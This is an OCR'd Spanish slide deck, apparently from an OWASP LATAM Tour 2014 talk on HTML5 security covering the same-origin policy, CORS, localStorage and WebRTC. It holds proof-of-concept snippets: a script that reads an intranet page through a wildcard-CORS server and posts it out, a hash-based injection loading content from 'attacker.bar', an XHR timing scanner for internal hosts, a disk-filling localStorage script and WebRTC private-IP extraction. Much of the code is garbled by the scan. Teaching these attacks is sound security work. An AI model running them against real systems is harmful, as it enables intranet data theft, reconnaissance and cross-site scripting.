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& jauvery AYax

write less, do more. Asynchronous Javascript And XML

Capa de Presentacion

Capa de Negocio
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. I Network IP Address via ipcalf....

& | @ netipcalf.com

Your network IP is:

10.0.2.15

Make the locals proud.
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Web application provide

Web server Datanase

\ger agent
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¢,Que es HTML 5?
Cross Origin Resource Sharing
Local Storage
¢, Qué es WebRTC?
lpcalf
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(,Que no es esta presentaclon’>
Una investigacion

¢, Qué es esta presentacion?
Una recopilacion
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Ipr |
http://feross.org/ (Feross Aboukhadueh)
https://github.com/natevw (Nathan Vander Wilt)
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http://2013.zeronights.org/includes/docs/Krzysztof Kotowicz_ -
_Hacking. HTML5. pdf

http://2011.appsecusa.org/p/pwn.pdf

http://www.w3schools.com/html/

The Web Application Hacker's Handbook

The Browser Hacker's Handbook
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. Version Ao
HTML 1991
HTML+ 1993
HTML 2.0 1995
HTML 3.2 1997
HTML 4.01 1999
XHTML 2000
HTML 5 2012
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Status: Draft / Candidate Recommendations
2014-02-04
http://www.w3.0rg/TR/2014/CR-htm|5-20140204/

-> Las cosas pueden cambiar!
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HTML5 ~= HTML + JS + CSS

HTMLS nos permite una nueva gama de
funcionalidades (otra vez... muchas fueron creadas
sin pensar en la seguridad?)
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¢, POR QUE USAR HTML5?

JavaScript APIs
Soportar multiples dispositivos (dispositivos moviles)

NO HAY NECESIDAD DE PLUGINS!

@ gT\/QI{/IATOU; D LU H S p
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v Storage: Local Storage (Web Storage), Client-side
databases (Web Database)

v Geolocation
« Web Workers

v Sandboxed frames
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RTMLS WP
£60
Taxonomy & Status on January 20, 2013 7 @ @

. W3C Recommendation

. Proposed Recommendation

Web
Messaging

I.'J'rau f
Audio '
Video nm :

Web -“LrTn rr' |:=IT.I..{‘.|FI
Workers iming

i Calendar
. AP
\
| @
X

. Non-W3C Specifications

. Deprecated
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HTML5
JavaScript APIs ->

MAYOR SUPERFICIE DE ATAQUE!
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“XMLHttpRequest es un objeto JavaScript que proporciona
una forma facil de obtener informacion de una URL sin
tener que recargar la pagina completa. Una pagina web
puede actualizar sOlo una parte de la pagina sin interrumpir
lo que el usuario esta haciendo. XMLHttpRequest es
ampliamente usado en la programacion AJAX
( Asynchronous JavaScript And XML).”
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Un poco de historia
Same origin Policy

“Restringe la comunicacion entre aplicaciones con diferente
origen”
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https://www.miweb.com:8080

Protocolo Nam de dowinio Puerto
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EESEEEREANAEEENEFANENS
ne origaiNn Policyy
e D — LI Loy | | L \;

Origin = protocolo + nombre de dominio + puerto

http://example.com/document
http://example.com/other/document/here
https://example.com/document
https://www.example.com/document
http://example.com:8080/document

SR\
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SOP politicas multiples:
Cookies
DOM access (Document Object Model)
Flash
Java
XMLHTTPRequest
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ocode historia
Same origin Policy + XMLHttpRequest

“Significa que una web solo puede utilizar el objeto
XMLHttpRequest para hacer peticiones HTTP AJAX al
mismo domino desde el que se cargo la pagina original.
Las peticiones a dominios diferentes seran descartadas.”
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www.site-b.com
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4. Proxy web service sends <. Third party wib senade
dala to chent relurns data fo peoxy web
SEracE

Cross domain
Colll Mot Allgwead

e ThirdparyDomain.com

mmmmmnmmaofennnnnnnn——

Targated web Sarace

vy domain.com
A (MLHpRequest)

3ol Proey Wb Senice _ >

1. Chent calls proxy web
Senice.

| 2, Proocy wieh serace calls the real wob senice I
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SOP

Cross Origin Resource Sharing
CORS
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Same Origin Policy es un “problema” para desarrollar
funcionalidades gque requieran usar servicios o modulos
desarrollados por terceros.

El estandar propone incluir nuevas cabeceras HTTP en la
comunicacion cliente-servidor para saber si se debe enviar
(servidor) o mostrar (navegador) un recurso concreto, en
funcion del origen de la peticion.

Mg OWASP
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Permite por ejemplo:

v Que una aplicacion web exponga recursos a TODOS o a
un grupo de dominios (origenes).

v Que un cliente web pueda realizar request AJAX a
recursos de otros dominios.
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http:/fa.com http:/ib.com

one.html another.php

Same Drigh ross Dﬂf'f"iil'l
(Cross Site)

one.html

web browser

@ OWASP OWASP
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Hay colores casera:

v Simple requests

v Preflighted requests
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POST -> Content-Type:
v application/x-www-form-urlencoded
v multipart/form-data
v text/plain

» No agrega HEADERS propios (ejemplo: X-Modified)

Si es otro caso -> Preflighted request

f \\ OWA:SP
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-~ Origin: http://ww.sitio1.com

Esta cabecera indicara al servidor el dominio desde el que se esta
haciendo la peticion (desde el que se recibio la pagina original). El
servidor tendra una lista de dominios permitidos y, si este esta en la
lista, devolvera el recurso solicitado incluyendo en la respuesta la
nueva cabecera Access-Control-Allow-Origin:
Access-Control-Allow-Origin: http://www.sitiol.com

Con esta cabecera el servidor indica el origen al que le permite leer
este contenido. El navegador siempre comprobara esta cabecera. Si
no se recibe o no indica el dominio correcto, blogueara la respuesta
para no permitir acceso al DOM a ningun script procedente de un
. owasp dominio ‘extrano’.
@g CATAM TOUR OWASP
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var i=new XMLH{ttpRequest;

var url="http://server.cors-api.appspot.com/server?

Id=6127214&enable=true&status=200&credentials=false":
.open("POST",url,true),

I.setRequestHeader('Content-Type', text/plain’),
I.onload = function()

{document.getElementByld("txtHint").innerHTML=I.responseText;}
I.send();

}
showHint(),

</script>

f 2 OWASP
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var/www) - gedit e E & = M = 4)
rch Tools Documents Help

{"1 Save g. ¢ Undo

-align:center”=

tHint"></span></p=>

nt()

ew XMLHttpRequest;
rl="http://server.cors-api.appspot.com/server?id=61272148enable=true&status=200&credentials=false";
rl="http://server.cors-api.appspot.com/server?id=61272148enable=true§status=2008&credentials=true";
="http:f/localhost/index2.html";

ri="http://192.168.8.1";

"POST" ,url,true);

questHeader('Content-Type', 'text/plain');

hCredentials="true";

dystatechange=function() I
{if(i.readyState===4)

document.getElementById("txtHint").innerHTML=1.responseText;

}

);

HTML ~ Tab width: 8 ~ Ln1
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Cross Origin Resource Sharing (simple)

Entonces puedo usar “Origin” como control de acceso no?
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OWASP Testing Guide v4
Test Cross Origin Resource Sharing (OTG-CLIENT-002)

S

Check the HTTP headers in order to understand how
CORS is used, In particular we should be very interested Iin
the Origin header to learn which domains are allowed.

Insecure response with wildcard *' in Access-Control-Allow-

Origin.

@ OWASP OWASP
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OWA:SP
LATAM TOUR
2014

e.: Mon, 07 Oct 2015
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *

"

18:57:

Content-Length: 4

Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]

http://www.owasp.org

DUJHSD




- Mozilla Firefox = == ) Thuh

'/localhost/test_html53.hem|| = [_::a»] @ B~ coogle

GO US[Q

Ubuntu help » Ubuntu shop » Ubuntu community *
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Conporate kntranet internet
Ya que el servidor Intranet no se puede acceder desde Internet
(debido al firewall) y muchas aplicaciones hacen uso de los
servicios de Intranet
Access-Control-Allow-Origin: *

77N > : .
@ﬁ VUM OUWASP
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, ' web con cbdigo ja ana a
empleado para que acceda a dicha pagina desde la empresa.

El codigo javascript malicioso realiza Xmlhttprequest a Intranet.

xmiHttp=new XMLHttpRequest(),
xmlHttp.open("GET","http.//intranet.empresa.com”,false),
xmlHttp.send(),
doPost (xmlIHttp.responseText),

@OW‘ OWASP
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1= GET/ WTTR/ 1.1

Internet

.u_.ﬁan.l___l. I_—I_I—_I——_l_lL_L—héﬂ—d—_ﬁd——_&————u_%
%

LE:HTT#ME 200 Ok
A pds-Cenaraba - Ovigin: #

2: GET f HTTPf1.1
2.1 HTTES .1 3800 T
SEdiEn = KNILHIE EReg Ut | ..
o

i | R L T T T ]

4 KRLHDp R ueta

4.1: HTTR/L.1 1) DK
At 000 AR Dl e *

5 Kif s BV SEAE S i
E: POST [Teiteraer.de HTTRFE.L

[intasey Web Page Coaten]

B S . CORLS RE e

Entonces el atacante puede acceder al contenido de Intranet.
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CONFIGURACION /
PROGRAMACION
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CONFIGURACION /
PROGRAMACION

El poder del ™*'!
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Browser support

Cross-Origin Resource Sharing - Recommendation

Global user stats*:

Support: 73.21% -
Method of performing XMLHttpRequests across domains Partial support: 8.18%
Total: 81.39%

Resources: DOM access using CORS Mozilla Hacks blog post  Alternative implementation by IE8 has.js test

3 versions back
2 versions back

Previous version

Current

Mear future
Farther future

3 versions ahead

Chrome Firefox

Firefox Chrome Safari Opera 05~ Opera \NEGIONBIackberry Opera |, for  IE Mobile
Safari Mini Browser Growser Mobile Android  Android
8.0 25.0 30.0 5.1 16.0 4.2-4.3 4.0 11.5
9.0 26.0 31.0 6.0 17.0 5.0-5.1 4.1 12.0
10.0 27.0 32.0 6.1 18.0 6.0-6.1 :'g' 70 121
11.0 28.0 33.0 7.0 19.0 7.0 5.0-7.0 4.4 10.0 16.0 33.0 26.0 10.0
29.0 34.0 20.0
30.0 35.0 21.0
31.0 36.0

Note: Supported somewhat in IE8 and IE9 using the XDomainRequest object (but has limitations)

Compatibility table provided by Can I use... [ Seperate page ] [ About embedding ]

Open Web Application

W\ OW’ OUJASP

http://www.owasp.org

Security Project




2014 http://www.owasp.org ) oven uies opicaron

Security Project

\\ ST\,QI\I/I/TOUF: A JUWASP
. U



- ‘.‘.M‘.L.A.:A__‘

|
| | | | | i 1 E | i | h i
s s A e . (. At

| Que pasa sl tenemos a
valide que la url en e
dominio (casualmente

OWASP

guna funcmnahdad en ajax queo
xImhttprequest sea del mismo

porque antes no era necesario)?

Testing Guide v4

Test Cross Origin Resource Sharing (OTG-CLIENT-002)
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~ req.onreadyste ange = function() {

/f(req readyState =4 && req.status= 200) {

I ==

document.getElementByld("div1").innerHTML=req.respons
elext,

}
/

var resource = location.hash.substring(1),
req.open("GET",resource,true),
req.send(),
</script>

@ OWASP OWASP
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http.//example.foo/main.php#profile.php

http.//fexample.foo/main.php#http.//attacker.bar/file.php

Injected Content from attacker.bar <img src="#"
onerror="alert('Domain: '+document.domain)">

@ OWASP OWASP
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800 Mozilla Firefox
| | http:/ fexample.f. ker.bar/file.php

. 4 | @& example.foo/main.php#http:/ fattacker.bar/file.php

Domain: example.foo
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Si tenemos un navegador que permita HTML5, entonces
ahora ese ataque es posible.

Aplicacion segura -> Aplicacion insegura
(gracias HTML5!)
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=new X LHttpReqUéé_tl;"
var url="http://server.cors-api.appspot.com/server?
Id=6127214&enable=true&status=200&credentials=false";
.open("POST", url,true),
I.setRequestHeader('Content-Type', text/plain’),
I.onload = function()
{document.getElementByld("txtHint").innerHTML=I.responseText;}
I.send(),
}
showHint();
</script>

y \\ OWA:P
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Cuando solicito un XMLHttpRequest cross-origin a un IP
Interno:

Si existe -> responde en segundos
SI no existe -> responde despues de varios segundos

Basado en la diferencia de tiempo, puedo inferir si el host
Interno esta encendido.
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rrmscan ll te ,I_ [\

varl new XMLHttpRequest

var url="http://"+nip,

L.open("GET" urltrue),

I.onreadystatechange=function()
{if(i.readyState===4)
var time = new Date().getTime() - start_time,
document.getElementByld("txtHint").innerHTML=nip+"

responde en 'ttime,

/
I.send();
P
</script>
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ml (/varfwww) - gedit

rch Tools Documents Help

ﬂ Save 15 ¢ Undo

heml x

-align:center”=

scan" =
="text" name="textip" wvalue="192.168.8.1">
tton" wvalue="Scan" onclick="scan()"=>

><fa=

rt_time = new Date().getTime();
=document.forms["frmscan" ][ "textip"].value;

ew XMLHttpRequest;

="http:f/"+nip;

"GET" ,url,true);

dystatechange=function() I
{if(i.readyState===4)

var time = new Date().getTime() - start_time;
document.getElementById({"txtHint").innerHTML=nip+' responde en '+time;
}

):

HTML ~ Tab width: 8 ~ Ln1
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Realizar peticiones xhr:

Si se completa en menos de x seg. -> host existe
Si toma mas de x seq. -> host no existe

S g OWASP
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J5-Recon - HTMLS based JavaScript Network Reconnaissance Tool - Mozilla FireFox

#® JS-Recon-HTMLS based Javas...

v'@ @ 'r f;.(:-(_;n;:]_e Q @ @ -

More details Feedback/Comments/Questions: @lavakumark =

HTMLS based JavaScript Network Reconnaissance Tool

@ & www.andlabs.org/tools/jsrecon.htm

Port Scanning Network Scanning Discover
My Private IP
IP Address: Start Port: End Port:
Scan

Protocol : ©) Cross Origin Requests ® WebSockets

Note:
* Tuned to scan fast internal networks. Scanning public/slow networks would require

retuning.
* Works only on the versions of FireFox, Chrome(recommended) and Safari that

support CrossOriginRequests/WebSockets
* Currently works on WINDOWS ONLY.

Scan Output
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Como su propio nombre indica, se trata de un espacio de
almacenamiento local.

El sessionStorage es exactamente igual que localStorage, pero con la salvedad de
gue una vez cerrado el navegador se pierde la informacion, todo lo demas es lo
mismo.

v . OWASP
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- Puede ocupar entre 5y 10MB dependiendo del
navegador web.

» La informacion almacenada con localStorage no es
enviada al servidor en cada peticion.

» No existe una caducidad para localStorage, la informacion
guedara almacenada hasta gue se elimine expresamente.
Aunque se cierre el navegador.
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data from the storage.

Check if there are more than one application in the same
domain like example.foo/appl and example.foo/app2
because those will share the same storage.

Data stored in this object will persist after the window Is
closed, it is a bad idea to store sensitive data or session
identifiers on this object as these can be accesed via
JavaScript. Session IDs stored in cookies can mitigate this
risk using the httpOnly flag.

~
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Tools. Then under Resources you will see Local Storage
and 'Web Storage'

Elernents | Resources | Metwork  Sources Tirmeline  Profiles  Audits Consale ®
» (] Frames Key Walue
E i"-.l'l.-"eh 30l iternS0337 134 o
: item50338 560 E
| IndexedDB item50339 290 M
v [ Local Storage itemS 0340 3
82 http:/fexarnple.com itern50341 143
¥ i Session Storage itema0342 674
- httpyffexample.com item5ﬂ343 623
Fiﬂgﬂuukﬁs ﬂem50344 165
itern&0345 734
@Applicatiun Cache itemS03d6 751
iternS0347 124 -
0,3 Q ¢ X L

S g OWASP
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Console HTML €SS Script | DOM ~ | Met Cookies
window
length ]
= localStorage 500 items in Storage item50662="562", item50363="160", item50593="924", more...
item50337 "381"
item50338 "1og"
item50339 "gls"
item50340 "gElt
item50341 "5E3"
item50342 "B30"
item50343 "gE3"
item50344 "324"
item50345 "B15"
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restore databaze sales
from disk = 'rzales. bak’
with norecovery

0o

Security Project
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function action(){
var resource = location.hash.substring(1);
localStorage.setltem("item",resource);
item = localStorage.getltem("item");
document.getElementByld("div1l").innerHTML=item;
}

</script>

<body onload="action()">
<div id="div1"></div>
</body>

@ OWASP OWASP
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Mozilla Firefox

e Edit View History Bookmarks Tools Help

hitp://server/Sto...error=alert(1)%3E Uil—

htrml=in
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Se debe limitar el espacio total permitido para el
almacenamiento local.

Limites actuales:
2.5 MB per origin in Google Chrome
5 MB per origin in Mozilla Firefox and Opera
10 MB per origin in Internet Explorer
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Sin embargo si usamos varios subdominios como
1.filldisk.com, 2.filldisk.com, 3.filldisk.com, ...? Cada
subdominio tendra 5MB de espacio? El estandar indica que
no.

Sin embargo, Chrome, Safari, e IE no implementan ese

limite. Asi que un sitio como FillDisk.com, tiene
almacenamiento ilimitado.
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/**
* Opera has a limit of slightly less than 2MB
* above which it asks for user confirmation.

v
if (navigator.userAgent.indexOf("Opera”) == -1) {
localStorage['filldisk'] = n2500kb
}else{
localStorage['filldisk'] = n999kb
}

* Used space Is double the size of the string because
*JS uses UTF-16 Strings.
@ OWASP OWASP
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Issue 178980:| localStorage bug allows sites to fill up hard disk / crash Chrome

953 people stamed this issue and may be notified of changes.

Status: Assigned Reported by fer...@gmail.com|Feb 27, 2013
Owner: micha..@chromium.ord  Chrome Version . 35 §.1364.00
Ce: kinuko@chromium.org, URLs (if applicable) : http://filldisk.com
ericu@chromium.org. Other browsers tested:
tzik@chromium.org, safari 6: fﬂll
micha..@chromium.ora, ;EFEW‘Flﬂl Pass
mkwst@chromium.org, ¢ ral

|5ﬁ|...h[ﬁml:§nglum..ﬂrq. What steps will reproduce the problem?
WHENANIPCNOMUMON, 1 yisit http://filldisk.com

Deter[ﬁiﬂhrﬂmlum..ﬂrﬂ. 2. Chrome crashes around 2GB.
mwb&a---@qm”mm- 3. Or, even if Chrome didn't crash, it's still really bad that sites can fill up your hard disk.
alecfiett@chromium.org,

jsbell@chromium.org,  What is the expected result?
dgrogan@chromium.org

Type-Bug

The spec (http://www.w3.org/TR/webstorage/) suggests this:

“Tal vez lo arreglaran en algin momento, pero no es una prioridad.”

S g OWASP
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WebRTC (Web Real-Time Communication) es una API que
esta siendo elaborado por la World Wide Web Consortium
(W3C) para permitir a las aplicaciones del navegador
realizar llamadas de voz, chat de video y uso compartido
de archivos P2P sin plugins (usa capacidades de HTML5Y).

NO HAY NECESIDAD DE PLUGINS!

@ OWASP OWASP
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| ~onn . ite establecer una c |
navegadores procesar la sefal, manejo de codec, gestlon de ancho
de banda, etc.

Proceso de senalizacion (Signaling)
Para conseguir conectar los peer es necesario intercambiar un objeto
'session description' (SDP) que contiene:
« Formatos soportados y que informacion desea enviar
v Informacion de la red para iniciar la conexion p2p

S g OWASP
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Web Server
WebRTC/HTMLS

T Aplicacion
Media
-lr g

Navegador Navegador
(Corriendo HTMLS desde Web Server) (Corriendo HTMLS desde Web Server)
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Para conseguw la |nformaC|on de Ia red atravesando flrewalls y NATS
se hace uso del protocolo ICE.

ICE permite gque se prueben distintas rutas para comunicar dos
terminales entre si acordando una comun. De forma que si estan en
la misma red local se comparte la informacion de forma local sin
necesidad de utilizar otros servicios.
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v Host candidates: Son candidatos locales, las tarjetas de red del

equipo, contiene ips privadas.

v Reflexive candidates: Se obtienen realizando consultas a servidores

STUN, contiene ips publicas.

v Relay candidates: Se obtienen realizando consultas a servidores
TURN, contiene ips publicas y se transmiten los datos a traves de

el.

(o QNAE
@2@4 ’ http://www.owasp.org
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ausmEna; R -
a=candidate:1 1 UDP 2130706431 192.168.1.102 1816 typ host
a=candidate:2 1 UDP 2130706431 23.45.1.102 3456 typ srflx

a=candidate:3 1 UDP 2130706431 34.66.1.102 5678 typ relay

f \\OWA D
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2 TCPeerConnectlon In part|cular the fuhctlons used to build the
SDP messages, could be used to disclose the internal IP address of
the browser

Ipcalf
https://github.com/natevw/ipcalf/blob/master/ attachments/
network_ip.html

f \\ OWA:SP
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if (~line.indexOf("a=candidate™)) {
var parts = line.split(" '),
addr = parts[4],
type = parts[7];
if (type === 'host’) updateDisplay(addr),
/

a=candidate:1 1 UDP 2130706431 192.168.1.102 1816 typ host

y \\ OWA:P
(‘Z @ AR http://www.owasp.org O UJ H SP
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‘% | @ net.ipcalf.com

Your network IP is:

10.0.2.15

Make the locals proud.
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.~ :PREGUNTAS?

oscarmrdc@gmail.com
fiery-owl.blogspot.com
@oscar_mrdc
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Gracias!
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